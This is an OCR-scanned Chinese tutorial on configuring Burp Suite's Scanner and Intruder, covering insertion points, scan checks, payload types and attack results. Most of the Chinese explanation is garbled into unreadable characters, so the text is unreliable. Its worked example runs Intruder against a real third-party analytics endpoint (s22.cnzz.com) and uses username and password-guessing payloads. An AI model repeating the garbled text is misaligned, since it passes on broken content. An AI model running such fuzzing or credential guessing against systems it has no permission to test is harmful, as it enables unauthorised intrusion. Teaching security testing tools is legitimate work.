SR 5 2 3 AT AR . AT DLk $E Set confidence, MRS T A7 AL BORIR AT FRTE



74k, fE Live Scanning i iR, AW AT UG R K48, #8145, IP Hikik. S, SOAFSE
BT, T

WHRAREH T Use suite Scope, N5 e & 51R7E Burp Target H [ Scope fit & 584 — i,
n BARIEFE T Use customs scope, NIATLLH CE X Scope, *f1- Scope AR E, i
2% Burp Target H1 1] Scope It & AHKEZEH 15,

Burp Scanner AJ T E

R LATR% 2, FRATEE 508 Burp Scanner 5 E g g sh AR 7, 18
Options F-iET-R v,  F2EREF XX i Fr g 4t 77 S0 SE gt b i s fE AT e B . Bk
i B AL S LU ER )

1. WA SIEE (Attack Insertion Points)



[Target T Proxy I Spider TScanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAlens ]

[ Results I Scan queue I Live scanning IOpﬁons ]

2| Attack Insertion Points

@ Place attacks into the following locations within requests:

(/] URL parameter values

(/] Body parameter values

(/] Cookie parameter values
(/) Parameter name

[] HTTP headers

@ AMF string parameters

[_] REST-style URL parameters

Change parameter locations (causes many more scan requests):

[[J URLtobody [ URLto cookie
) Bodyto URL [ | Bodyto cookie
[_] Cookie to URL [_] Cookie to body

Nested insertion points are used when an insertion point's base value contains data in a recognized format (for exampe, XML data within a URL parameter):

[] Use nested insertion points

Maximum insertion points per base request. |30

Skip server-side injection tests for these parameters:

l Add J Enabled [ Parameter [ Item | Match type | Expression | |

- - @ Cookie Name Matches regex aspsessionid.* A
Edit @  Cookie Name s asp.net_sessionid

P ) Body paramet.. Name Is __eventtarget ‘y

g W Body paramet.. Name Is __eventargument

W Body paramet.. Name Is __viewstate ‘

@ Body paramet.. Name Is __eventvalidation Iy

cn A " L : ia 1=

Skip all tests for these parameters:

Add J Enabled | Parameter | Item [ Match type | Expression

 Edit

Remove >

Burp Scanner fEFHiH, FETHIGHIEREE, B —MEANSWIESH, X AR
BE AT E R, T EIE RGN AAAEYE. W%, PUNALE RS Burp Scanner & #%
FEE N

URL iR 244

Body 44 (bl form REMIME, A3 XML 245, JSON 240

Cookie Z¥}

ZAL B FRAIN S GG 0 S50 B 3 0 2ok ik s D

Http Header {5 & CGilid %} header 15 B 3 R 6L IR D

AFM Zifit Ch flash 3812 IR R 56 30F )

REST X% 1241

X PA_E B 4E A\ s, Burp Scanner 18 /& R] DUE IS A Z B AL B R IGE TR, Burp
Scanner #}:4 URL to body . URL to cookie. Body to URL. Body to cookie. Cookie to
URL. Cookie to body 7S#77 0. HIATEFRRAET, 7T LUARMESLPRiER, RIGEHEA E
BUREAE S, AR . RN TBRAZ E, S3RATIE S T A B SR RIS IR
T, RIak#E 7 Burp KIXFE ZHER, W ZEARRGH R ZIHE

© N o gk 6N



F4h, Burp MEHEA S FHRER A, XEEER, R —MERNSHEZ ISON
X REE XML CA, Burp Scanner fEF34, ALY ISON X G5k XML SCAH g1 &
PEAEHE ATIRAE, XSt KR E T Burp Scanner MHRIRTARE S M . X2 EEIF ) use
nested insertion points [ checkbox /& %5k H1 £y, BRI O T A2 1k Hh A 2501

BIATREBGE AN S FER, BATEA] UG 2 e S Hot AT b, AR ERAT IR IR KL
FEBCEN, Burp /4% MR 5545 i S Xk I A pr 3 S8 Bt i Al o5 2ORE B, St T
Kl

Skip server-side injection tests for these parameters:

L Add J } Enabled '\ Parameter | Item | Match type \ Expression \ }
\ W Cookie Name Matches regex aspsessionid.* A|
| Ed't ‘ i [Z] Cookie Name Is asp.net_sessionid ‘
Body paramet.. Name Is eventtarget
Remove [ v 1P — g "
W] Body paramet.. Name Is __eventargument
‘ @ Body paramet.. Name Is __viewstate
@ Body paramet.. Name Is __eventvalidation “ ‘
o . A e — e = 1%
Skip all tests for these parameters:
Add ‘ Enabled | Parameter \ ltem | Match type \ Expression
Remove ¢

Edit

2 EHHI51 %% E (Active Scanning Engine)

.‘,i

Active Scanning Engine

These settings control the engine used for making HTTP requests when doing active scanning.

@ \

Number of threads: 10
Number of retries on network failure: '3
Pause before retry (milliseconds): 2000

[_] Throttie between requests (milliseconds). | =00

iations to throttle
(] Follow redirections where necessary

FE AR E 0 RIS Esh IR AR R B W R ARG . 4% 2RI
FARRE ERIEIE. R REIREEEER . HPEREERE (Throttle between requests) F
H Pk EIRBENL A (Add random variations to throttle) 7£ /b 3 7 a7, #4890k,
ERRREINRE#, A DM 2R ARN K. 2 TXESHAAREE, FERE
PRS2 EVLRIPERE . W28 50 27 o AL I PE B AR B ) U 8 . — RO, IR KR



BlizAtis rats, ENHREFRIRL, /RE QK CPU A REBUR, w LA INZEREEL,
fEERHMEAT A E I ARG IR AE R R, NARF IR, SR8 SRR
R VRNLZID ZARRH, NIRRT I 2% ko B Xk J80RT B 452 T ) T g

3. EFHAFMALEE (Active Scanning Optimization)

(2] Active Scanning Optimization

(@ These settings let you control the behavior of the active scanning logic to reflect the objectives of the scan and the nature of the target application. See the detailed help for more information about each option.
Scan speed: | Normal =
Scan accura cy: | Normal i

) Use intelligent attack selection

PRI TR B RN TR AR R B AR 2, R B B R 1 [ B PR
R, FHEE (Scan speed) PR, FiE. WK S ANEDT A EIFE U BT A E
IS, LR BFEAEH (Thorough) B, Burp 2 KIEE LR, XHRIFATAERR 2
O 2 (S AL, TS PREFPE I (Fast) , Burp W R 2 — . fa 5 i I iR
k. HiKEHERE (Scan accuracy) tHIFEIFES A=ANED: H/MUEIIPE (Minimize false
negatives) . il. H/MUIEFATE (Minimize false positives) . 3 v & 32 B2 FH k4%
Burp F A2 B I TR AR s . S BRATTE B MU BRI, Burp 28050 2 1) 56HIE
W, KRBT EARBE IR TR A AE, (BRI Tk, 4 Burp {58 Z 38 uE MR, nlRefE
FERS IF IR SR R B g, 360 7 IRIA AR . R RE MG E#E (Use intelligent attack
selection ) XA T R GEHh 20 — LS i A\ RV E R A, B — NS EUE RS A
B IS 2 R 2R, Burp Bk SO 28 A A LS4, 8 B I RT i 6,
FHFRARAE R TR 1 AU i 2 S BUR IR R BT R



4. FEFVEEI# B (Active Scanning Areas)

Active Scanning Areas

2]
@ These settings control the types of checks performed during active scanning.

(/] sQL injection
(/] Error-based (/] MssQL-specific tests
(/] Time-delay tests (/] Oracle-specific tests
(/] Boolean condition tests (/] MySQL-specific tests

(/] 0S command injection
(/] Informed (/] Blind

(] Reflected XSS

(/] Stored XSS

(/] File path traversal

(/] Remote file inclusion
(] HTTP header injection
(] XML/ SOAP injection

(/] LDAP injection

(/] Open redirection

(] Header manipulation

(/] server-level issues

Li Select all J[ Select none J

FEEFFRME RS, VR PURIE IR ) . SSERE R AT RENEAAAE B IR TR S T A A
Ol EEEAFREEE . X BRI A

SQLEA Al DAEAFFIHR AR (GEFiRZE, W RIEE AN RN , JFE
AR AR 1 PR B E 2K (MSSQL, Oracle Al MySQL 1) . #:1E R %
AVEN - (FRIBAEE) .

SRy N

A fit A 5 3k 5 BRI AS

SCAH AR

HTTP ik A

XML/ SOAP JEA

LDAP 7EAN URL

HE M http JHE

SLATHERN k55 A%

1) )



5.4 VG EIE E (Passive Scanning Areas)

2| Passive Scanning Areas

EJ These settings control the types of checks performed during passive scanning.

(/] Headers (/] MIME type

(/] Forms (/] Caching

(/] Links (/] Information disclosure

(/] Parameters (] Frameable responses ("Clickjacking”)
(] Cookies (] ASP.NET ViewState

(/] Server-level issues

{ Selectall J [A Select none J

RN B A S RER FIE R, Rt EaEEEHT 08, HARE R 3 2R i RN 2
W E RN S ERIFEZER . Headers. Forms. Links. Parameters. Cookies. MIME
type. Caching. BUX{Z B MtEE. Frame HEZ2 fidi 445, ASP.NET ViewState .



5 )\F wife[f# A Burp Intruder

Burp Intruder {4 Burp Suite " — I BER R K B AL TR, BERATLEBIE
M N AP ME ST R b . ARRAEZ LM ER

Intruder {3 37 S f#RAE D
% Payload 287! 5 4b#
Payload £ & Fl X 5 Y
AL E (Options)
Intruder X5 A5 5 74

Intruder 15 FH 37 s A4 2 IR

EBFEMRE RS, RAILEEH Burp Intruder, "B TAERIEZ: Intruder 7EJR A% K3
i BEERL b, @IS FIE RS, USRI R BTG RN Z . B—RERS, Intruder i
o #Ea — NN R (Payload), EAN [F] A Bk AT Boeh B, i B2 1
EEE 43 BT SR 3545 T B F SR . Burp Intruder 38 % 4% 48 76 L R 3 5

1. AR IRFF A ZE Web B AR P& A bR IRFER G - P K B 8da s 2. B,
R4, SCfr 1D K 54,

2. PEHCA FH AR R 50, A A2 T H A S OhR IR AT, AR LI A B AR IR AT
PR — e AR . Pean i, ARARE I A AN N id, SREETE P EAS N (]
b HEHRPR AR .

3. BRI 1R 28 NTURIIRT, 0 SQL VRN, 5l x5 BHAC RN SCAE B A% 7 AT DLl IS i Sk &
BARAT & AR F 2 H, IR R A HAh S S L, SRt N R EAT AN .
TN AR RN Zett, FRIPATE AN E — AN FER HEBIN SR XM
5, WAL E Payload, it Burp Intruder Hahkitxt Web N FEFEHEAT RO IR, o

WSk, Burp Intruder #EATINR, 3 ELRAE LR B IE.

1. ##iA Burp Suite &3¢ IE#IF IR 53, H5ER 7 a8 A E .

2. N Burp Proxy i, SCHIREEE#LIIEE

3. AT HE (History) kIR, ERATREAERERERHE, JFaid AT,
K i%F| Intruder.



[ Intercept THTI'P history T WebSockets history T Options ]

| Fitter: Hiding CSS, image and general binary content

# A Host ‘ Method | URL | Params | Edited \ Status | Length | MIME type ‘ Extension | Title
117 http://v.baidu.com GET Ivideoapi?callback=jQuery1111042995... ] O 200 253631 script

119 http:/fimg.baidu.com GET /hunter/alog/dp.min.js?v=-16911 ™ (@] 200 3803 script is
128 http://himg2.huangiu.com GET Istatics/hg2013/js/lib/iquery1.9.1 js (@] o 200 70359  script is
131 http://cbjs.baidu.com GET fisimjs a a 200 115018  script is
132 http://hm.baidu.com GET /h.js?1fc983b4c305d209e7e05d96e71... ® a 200 29099 script is
133 http://s22.cnzz.com GET /z_stat.php?id=1000010102 IFil | 200 10473 script php
135 http://ic.cnzz.com GET Icore.php?we hitp://s22.cnzz.com/z_stat. php?id=1000010102 3096 script php
137 http://himg2.huanqiu.com GET Istatics/hg201  Add to scope 34019 script is
145 http://pos.baidu.com GET ficim?di=1028| Spider from here 1555 script

146 hitp://cpro.baidustatic.com GET Icproluic.js Do scie Sean 115018  script is
147 http://pos.baidu.com GET ficim?di=u239] . 1424 script

< Do a passive scan

Send to Intruder Ctri+l —

Request | Response Send to Repeater Ctri+R

4. 34T Intruder ¥EIH -, #TJF Target Al Positions T-i&Wi . iXif, 1REFH F—H ki
EE E{’Jlﬁ;k/%uo

anner mmderIRepeﬂurTSequencer Decoder | Comparer | Extender | Options | Alerts

[[Taroet T Postions | Payioads | Optons
(2) Payload Startattack |
Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for ful detail.
Attack type: | Sniper - ‘vJ
#
GET /z_stat.php?id{§10000 101028 !-ITTP/l.l A Add§
Accept: */* ————
Referer: http://china.huangiu.com/article/2016-04/8815557.html?from=bdwz Clear §
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; NET CLR 2.0.50727; NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC 6.0; L&J
NET4.0C; NET4.0E; InfoPath.3) —_—
Accept-Encoding: gzip, deflate L—J
Host: s22.cnzz.com
|
9
v
@ EJ EJ EJ fips s = 0 matches &J
1 payload position Length: 411

5. RUAFRATT T %2 Burp Intruder X (1) 36 At 2 Bl e MIRIN R 1% R B R UG 1E R (5 E, 75545
5 BiaemiE L E — e E Uiy Payload, @it Payload 3K & 1% 15 K 3k BN
2 B BRINEM T, Burp Intruder £ %HE SR 28 A1 Cookie %% & sk Payload
position, HI ZRNIN $7FE, W LB EhREM BN, MRIEERE, SBE$SRRMNS
&N Payload.

6. 7£ Position AL 414, 4 [Add$) . [Clear $1 . [Auto $]1 . [Refersh$] P4/
B, RARESNERESEH R SEAE KL R EY Payload B, WA ik,
Mk Z%, A [Clear $) Bl ST &S LR,

7. JRAVITIF Payload kI, #EF Payload 4 e F ik #5ms, BRIAEN Fit #
“Simple list", 4R /Rt ] LIS T bk = Ath Payload A 8 F U 0.



E_ Burp Suite Prof & =
Burp Intruder Repeater Window Help

Target | Froxy | spiser | Scanner | intruder | Repeater | sequencer | Decoder | comparer | Extender | options | alrts

i@

Target | postons [ Payiads | optons

(@) Payload Sets

“You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set. | 1 Payload count: 23

Payload type: [ Numbers ﬁ Request count: 23
Simple ist I
Runtime fie
(2] Payload O custom terator

This payload b Character substiution
Case modification

ds within a given range and in a specified format.

anoe | Recursive grep

e llegal Unicode idom
Character blocks |y
From: T
To: 23
Step. 1
How many:
R
Base: @ Decimal O Hex

Min integer digts:

Max integer digis:

Min fraction digits:

Startattack | 7\

8. UtHEF, FRATFE[RIF] Position F1, fEAMAIA LA, S [Startattack] , KiK.

Burp Suite Profe: %

Burp Intruder Repeater Window Help

Target | Froxy | Spider Scanner‘meRepenterTSequenoer Decoder CompamrTExlender Options | Alerts

I—n

[ Taret | postions | payicads [ optons

L?J Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload postions - see help for full details.

Attack type: l Sniper

GET /z_statphp?id=§10000101028 HTTP/1.1 X
Accept: */*

Referer: http://china.huangiu.com/article/2016-04/8815557.html?from=bdwz

Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC 6.0;
NET4.0C; NET4.0E; InfoPath.3)

Accept-Encoding: gzip, deflate

Host: s22.cnzz.com

Add §
 cears
A5 |

Refresh |

L
¥

24 (sa) () (=) |7 0 matches —

1 payload position Length: 411

9. R, Burp 2 BAIFTF A, BEEEPATIINEI . Hitp IR, KEZ%L

.
=B

oo



r‘! Intruder attack 2 Elm

Attack Save Columns

_LMJ Target T Positions I Payloads T Options ]

l Fiter: Shewing all tems ?

Request 4 | Payload |Status  |Eor | Timeout |Length | Comment

0 200 o O 10468 baseline request E
| 1 1 200 o O 10445

2 2 200 o O 10448

3 3 200 o O 10445

4 4 200 @] O s19
il 5 s 200 o O 519

6 6 200 @] g s18

7 7 200 (=] g s17

3 3 200 o O 520

4 9 200 o g s19

10 10 200 o O 10450

" " 200 o g sz v

Finished g

10. AT PLEF PRI -l EEE, BEEREBEARZHERFEg.
Intruder k2 E=EE™ )

Attack Save Columns

(Resuts | Target | postions | Payioads | options |

| Fitter: Shewing all tems | ?

Request 4 | Payload | Status | Error | Timeout | Length Comment

0 200 O (0 |10468 baseline reqi A
/ 1 200 o O 10445 I

2 2 200 @] O 10448

3 3 200 @] O 10445 v

T

(function({function

k({this.c="1000010102";this.R="z";this.N ="";this.K="";this.M=""thisr="1461247213";this.P="zl.cnzz.com";this.L="";this.u=
"CNZZDATA" +this.c;this.t="_CNZZDbridge_"+this.c;this.F="_cnzz_CV"+this.c;this.G="CZ_UUID" +this.c;this.v="0"this. A={};t
| his.a={};thisla0}function g(a,b){try{var c=

| [;c.push("siteid=1000010102");c.push("name="+f(a.name));c.push("msg="+f(amessage));c.push("r="+f(h.referrer));c.pus
h("page="+f(elocation.href));c.poush("agent="+f(e.navigator.userAgent));c.push("ex="+f(b));c.push("rnd="+Math.floor(2
| 147483648*Math.random()));(new Image).src="http://jserr.cnzz.com/log.php?"+cjoin("&")}catch(d){}}var

| h=documente=window,f=encodeURIComponent|=decodeURIComponentn=unescape;k.prototype={la:function Oftry{t
his.UQ,thisJ(),this.ia(),this.HQ,this.o(),this.ga(),

| this.fa(),thisja0,thisj(,this.ea(),this.ha(),thiska(,this.ca(),this.aa(), this.da(,this.paQ,elthis.tl=e[this.t]]|{},this.ba("_cnzz_CV") |k

‘eatch(alala "i failed™W nafunctionOitndvar a=thice cze={nush-fiinctionNiretiirm ¥
I | | G | ]| ]

| 7 = ¥ = TypE g Searciriem ‘ 0 W I

11, RZWHE, N 7 & AARIINEE B R S SARNGENGEE, @ AT [,
~HEAT Options &I AR SCEC B, A F 2 BV IE A CLAS (Grep - Match)




-
E  Intruder attack 3 Elm
Attack Save Columns
[ Results T Target T Positions I Payloads Tomnsl
A
o -
(2| Grep - Match
@ These settings can be used to flag result items c ining specified expr
I (] Flag result tems with responses matching these expressions:
Paste error A
| exception
Load... | | ilegal 0
. | invalid
Remove fail >
1 | stack
Clear
access
directory v /
Add » Enter a new item
Match type: @ Simple string
() Regex
(] Case sensitive match
() Exclude HTTP headers
=
v
. A 4 v N N —\:‘ N V aWe varih]
12, s, FRAVEH S5 Rk iRl gE g, o A BT ik .
Y —— " l - - E=nrcy
Attack Save Columns
(Resuts | Target | postions | Payioads | options |
Fiter: Showing all items | ?
@ Filter by search term Fitter by status code Fitter by annotation
Ee= 5
@ 2xx [success]
@ 3xx [redirection] () Show only commented items
[J Regex @ 4xx [request error] ([] Show only highlighted items v

(] Case sensitive [_| Negative search @ Sxx [server error]

Show all Hide all

e

(function({function
k({this.c="1000010102";this.R="z";this.N ="";this.K="";this.M =""this.r="1461247213";this.P="zl.cnzz.com";this.L="";this.u=
"CNZZDATA" +this.c;this.t="_CNZZDbridge_"+this.c;this.F="_cnzz_CV"+this.c;this.G="CZ_UUID" +this.c;this.v="0"this A={};t
his.a={};this.laQ}function g(a,b){try{var c=

| [:c.push("siteid=1000010102");c.push("name="+f(a.name));c.push("msg="+f(a.message));c.push("r="+f(h.referrer));c.pus
h("page="+f(elocation.href));c.poush("agent="+f(e.navigator.userAgent));c.push("ex="+f(b));c.push("rnd="+Math.floor(2
147483648*Math.random()));(new Image).src="http://jserr.cnzz.com/log.php?"+cjoin("&"}catch(d){}}var
h=documente=window,f=encodeURIComponent|=decodeURIComponentn=unescape;k.prototype={la:function O{try{t
| his.UQ,thisJO,this.ia(),this.HO,this.o(),this.ga0,
this.fa(),thisjaQ,thisj0,this.ea(),this.ha(,this.ka(,this.ca(),this.aa(),this.da(,this.pa,e[this.t] =e[this.t)||{},this.ba("_cnzz_CV") k&

| \catch(alnla " failed™ W nafiinctinnOitndvar a=thice cze={nnch-fuinctionOiretiirn ¥

2 < + > Type a search term | 0 matches

e —— 3

13. [AIIS, 45 RIETR P s B 3RA 12 AT L AT R 5 (1, 3RATT AT LA{ESE 2 Columns BEAT

BHE.




Attack Save gy

r o v Reguest Options

: ‘ v Payload —

Fiter: Showin| / Status QJ
v Time of day

Request | R G aed | Time of day Response... | Error | Timeout | Length | Comment |

4 v Response completed 22:27:3921 BE 2016 32 a a 10445 E N

2  Error 22:27:3821 BE 2016 47 a a 10449

3 V. Timeout 22:27:3921 ME 2016 K| (@] (@] 10445 f

L V Length 22:27:3921 BE 2016 31 E] a 520

5 Conkice 22:27:3321 BE 2016 AN U a 519

6 2227:3921 M5 2016 32 a o s18

7 ¥ Commi 22273921 BE 2016 31 a a si7

8 8 200 22:27:3921 ME 2016 46 a =] 520

9 9 200 22:27:3921 BE 2016 3 a g 519

10 10 200 22:27:3821 BE 2016 16 a a 10450

1 1 200 22:27:3921 ME 2016 16 (@] (@] 521

12 12 200 22:27:3921 ME 2016 3 a8 a 520 v

Attack EEIR Columns

Attack
Results table

Payloads | Options

Server responses | LZJ
Attack configuration
R | &tus Time of day Response... | Error | Timeout | Length | Comment I
1 1 200 22:27:3921 B E 2016 32 a a 10445 E
2 2 200 22:27:3921 BE 2016 47 ()] ] 10449
3 3 200 22:27:3921 BE 20186 A (@] (@] 10445
4 4 200 22:27:3921 BE 2016 31 (] (] 520
5 5 200 22:27:3921 [ME 2016 31 @] o s19 !
6 6 200 22:27:3921 B E 2016 32 (] 8] 518
7 7 200 22:27:3921 M5 2018 31 @] (@] 517 |
8 8 200 22:27:3921 BE 2016 48 (] @] 520
9 9 200 22:27:3921 B E 2016 31 a a 519
10 10 200 22:27:3921 BE 2016 16 (8] ] 10450
1" " 200 22:27:3921 BE 20186 16 (@] (@] 521
12 12 200 22:27:3921 B E 2016 31 (] (] 520 v

15. 24K, DRAFZATBA TR AT LU ORAE I N B AT BEE



' ‘ = 22
Q uder attack : - - ] B el Gel
Attack Save Columns
Results TTarget T Positions I Payloads T Options ]
[ Fiter: Showing all tems | LZJ
Request | Payload | Status L Saveresultstable M Ef" et |
1 1 200 E
= 2 200 @ Allrows [ Save header row
3 3 200
4 4 200 (0 Selected rows Delimiter: @ Tab () Custom: D
S 5 200
6 6 200 Include columns:
& 7
e [ Request [ Payload Select all
8 8 200
. . - ) Status ) Time of day
() Response received () Response completed Select none
10 10 200
o b = & Error [ Timeout
@ Length [J Cookies Save
12 12 200 v
) Comment
Finished | d

DL EIXEE, & Burp Intruder —R5ERIIERED IR, fESCPRfE A F, ARIERE—A N I8,
SR Z AR MR AN R E R ECE, K e TR =T e 4
i) P

Payload KM 5403

7t Burp Intruder ] Payload &3, f5 Payload S84 ¥ Bk, A5 1 4514 i
Payload

KA, k18 i
Target | Postions | Payloads | Options |

LZJ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and

Payload set: | 1 | Payload count: unknown
Payload type: | ECB block shuffler Request count: unknown
Simple list -
Runtime file
@ Payload O custom iterator ler]
This payload ty Character substitution b o o ciphertext in ECB-encrypted data, so as to meaningfully modify the decrypted cleartext and potentially interfere with application logic. You ¢
key, to provide| Case modification g into the original data.
Recursive grep
Encrypted datd llegal Unicode p of payload position
Character blocks v [ring:

Format of original data:

AbATI 73 Sl

O Literal value

@ Encoded as ASCI hex



fa B3 (Simple list) ——f& ¥ Payload 257, B AL E —N745 R 5 £ AE
N Payload, A AT LI AF 8 SR BM S MER T/ e 132 . kB S i
~E

[ Target T Positions T Paybads T Options ]

@ Payload Sets

You can define one or more payload sets. The number of paylocad sets depends on the attack

Payload set: L1 |JJ Payload count: 0

Payload type: LSimple list B Request count: 0

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

i

i

F LTINS AFANE,
Remove l ¥
Clear EIFE
Payload
LE =

—_—

Add J | Enter a new item /

Add from list ... ﬂ

—

T SE A S
b, PR Payload %13, C&Hiw X 17 —4fH Payload 513, 35 XSS A,
CGl JIA, SQLyEANMIA. $. KEFEE NEFEEE H 4. B0, RESTF
B4, NS XM M H R 255, RORH 8 T3 ENR N A A .



ZATH S (Runtime file) fe s, VE RIS Payload £z B I (1) Payload %1% .

HBE R~

LBATn EE PR, $8%E Payload set FIf & 1 f#H 1) Payload 2:%!°4 Runtime file i,
N77 ¥ Payload Options ¥ H 2 B8 Ay SCHE PRI R AHE, 4FAT s [select file]
LR SCPERD, et E R TR B EAE, kTR E ) Payload SCfF. E4THF, Burp
Intruder ¢ BB BB —4T1E )y —> Payload.

H & SEARHS (Custom iterator) ——ixX & — DhResR K Payload, &3LE 84~ 17,
AN AL LAFR RE AT B3 K 1) Payload K%Y, SRGARIE HAL 2D, H&— k85
F 1 Payload #HATH KRR, A& Payload #1%. Fltn, HFEASHAMERK L
username@ @password, ¥ & It Payload B3 : A7 E 1, i%# Usernames



B, e
B2 WMAHOO®

@ Payload Options [Custom iterator]

This payload typ?pu configure multiple lists of items, and generate payloads using all permutations of items in the lists.

Position: | 2 E] Clear all ]

List tems for position 2 (0)

tifEh

| Au ||ee — ) I
| Add from lst... v

AR ENME 3, % Passwords




@ Payload Options [Custom iterator]

This payload type lets you configure multiple lists of tems, and generate payloads using all permutations of items in the lists.

Position: | 3 ;!-“ Clear all

List items for position 3 (3424)

Paste J { '@#3%
Add from list ... A

Fuzzing - quick
Fuzzing - full

Usernames
Passwords
Short words

a-z
A-Z

BN DT Ia Bk, AR Payload feL 4 &l s

-
E. Intruder attack 3

Attack Save Columns

| [ Resuts | Target | Posiions | Payioads | optons |

I Fiter: Shewing all tems

Request 4 | Payload | status |Eror | Timeout |Length | Comment
0 200 O O 10468 baseline reguest
1 root@@'@#S% 200 @] g 505
2 SALOCS@@@#5% 200 @] O ses
3 | ssystem@@@#5% | 200 g g s05
4 1@@@#5% 200 0 O 10433
N 11@@@#s% 200 @] o so7
6 M1 @@@#S% 200 @] O sos
7 2@@@#s% 200 @] O 1043
3 2222222@@'@#5% 200 @] [
9 @@@*5% 200 @] g 507
10 4Dgifts@@'@#S% 200 @] O ses
1 S@@@#5% 200 @] O so4

I&w | Headers | Hex

HTTP/1.1 200 OK
Server: Tengine

g

? < + > Type a search term

0 matches

Paused |

|

FRrE B (Character substitution) ——Ji4% 8 5, FF Payload 2824 FiilE L
f) 7 B HEAT 8 5 A BGHT ) Payload. Ebni, g X745 ABCD, 418 FEM
B & B G, Kt AB MIE BT #ES 5 4 HT i Payload.




fH Payload 1~ Elfs, sl & 7 LEH Iy a M b M{EAN 458

Attack Save Columns

Results T Target T Positions T Payloads T Options ]

‘ Fitter: Showing all tems I L?J
Request 4 | Payload | Status | Error | Timeout | Length | Comment
0 200 O O 10468 baseline reguest
1 ABCD 200 O g 513
2 4BCD 200 @] o s13
3 A8CD 200 @] O s0s
4 [48cD | 200 ] O 504
M Response
JRAW I Params I Headers | Hex
GET /z_statphp?id=48CD HTTP/1.1 [a
Accept: */*
Referer: http://china.huanqiu.com/article/2016-04/8815557.html?from=bdwz v

? < + > Type & search term 0 matches

Finished | 7|




K/ANEE# (Case modification) ——X e L FRFER, FRERNG N, 3178
o, LLAn, W€ LT N Peter Wiener, NIZIE T EMEE G, <S4R

Payload.

4R Payload 41T

)| Attack Save Columns

Results I Target I Positions I Payloads I Options ]

I Fitter: Showing all tems

R

q 4 | Payload | status | Error | Timeout | Length

| Comment

Peter Wiener 200 O () 530
Peter wiener 200 O (@] 514
PETER WIENER 200 (@] =] 516
peter wiener 200 (] @] 514

W =

e

Raw | Headers | Hex

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript
Content-Length: 9941

v

2 < + > Type a search term

Finished |

0 matches

1|




AR B BT R Y. No change (ANpeZs, fiiFIRIGF4FER) . To lower case
B R/N5FEE) | To upper case (A KREFHE) . To Propername (FFEEK 5,
HAth/N5) | To ProperName (HFRERE, HAWAKAR) , fESLEREHF, o LAURTE
H LA R 34T /AR W

#1 grep (Recursive grep) ——Ilt Payload 27 3= B g F - IR 55 2 i $2 BUA B8

1 Sse, HTES MRS & Hma N b e ISR 14 Payload, 4R )5 ¥ #t Payload M6 &,

BT Wrikie & MIBEERIE TR IR R R, BT RAAE B, 7R Payload [RGB
(Options) HACHE Grep ¥, SAJ5HRHE grep LIEHUEIE A Bk AE M. tot, AR

grep extract % B BUIR 55 25 5 () Eagleld 1 93 1) Payload 14

B! Define extract grep iterr W e

2| Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can
also modify the configuration manually to ensure it works effectively.

r [ Define start and end (] Extract from regex group
(® Start after expression: \nEagleld: \nEagleld\: (. *7)\r\n\r\n\(function\(
(0 Start at offset: 495 Case sensitive
@® End at delimiter: \rin\rin(function(

(O End at fixed length: 26

[[J Exclude HTTP headers (¥) Update config based on selection below Refetch response

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2 -
X-Swift-SaveTime: Tue, 03 May 2016 15:41:40 GMT

X-Swift-CacheTime: 5400

Timing-Allow-Origin: *

L Eagleld: 3dbfbbcd14622909235371588e

(function({function

k(O{this.c="1000010102";this.R="z"this.N="";this.K="";this.M =""this.r="1462290100";this.P="zl.cnzz.
com”;this.L=""this.u="CNZZDATA" +this.c;this.t="_CNZZDbridge_"+this.c;this.F="_cnzz_CV" +this.c;th
is.G="CZ_UUID"+this.c;thisv="0"this A={};this.a={};this.laQ}function g(a,b){try{var c=
[;c.push("siteid=1000010102");c.push("name="+f(a.name));c.push("msg="+f(a.message));c.push("r=
"+f(h.referrer));c.push("page="+f(elocation.href));c.push("agent="+f(e.navigator.userAgent));c.pus
h("ex="+f(b));c.push("rnd="+Math.floor(2147483648*Math.random()));(new
Image).src="http://jserr.cnzz.com/log.php?”+cjoin("&")}catch(d){}}var ',

EJ B LZJ B Type a search term O hatchas

S

s BB [OK]Y iz )5, 56 1 Payload [ .



Payload Sets

=

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. \

ayload set: v ayload count: unknown
Payload set: |1 Payload t. unk

Payload type: lRecursive grep |VJ Reguest count: unknown

L’:)J Payload Options [Recursive grep]

This payload type lets you extract each payload from the response to the previous request in the attack. It is useful in some situ:

Select the "extract grep” item from which to derive payloads:

From [\nEagleld: ] to [irin\rin(function(]

Initial payload for first request:

[ Stop if duplicate payload found

M REIGER, Burp £ X R — R ma B v ST 0T, niREEEE T Eagleld FIE,
N 154 Payload & AE—KiER. #AERIT:

B SR P 5 N EEUTHE B Payload #5e E— Rk 55 d i B (3 SC R ) Eagleld
i fE-.



A5 Unicode Zwfi% (lllegal Unicode) —— 7£ payloads H 48 52 B/ A7 Unicode
i MR HTIIAL, MIXLE Payload #13 B =4 tH—NEH ZANE 85 mg . 185 [ ik
BT BEEQULE R AN SRR, XA R e A R, Bilan, (EDTAE H skl P Bodi i .
AL F AR AR gL UL EE . KRG E R i T

b B A T e 0T B SR AN S VAR AL AR R, S IR LR s maximum
overlong UTF-8 length Unicode #wtd favF i 28 6 F 7R R— D455 A —MpEY
st A] DA IE A 22 7% HY (0x00-0x 7F) Basic ASCIl Z#4F. SR, 18 225 Unicode J5 %
WaE LR EANI(W, “overlong™gwfd). i RIEE & S HB KM, LLRRZ
WEMR A HKE. llegal UTF-8 continuation bytes 24i% &) KK UTF-8 K
R 2 7L, XANETUE R F. Do illegal UTF-8 {2 F 4w — AN F4F 1Y,
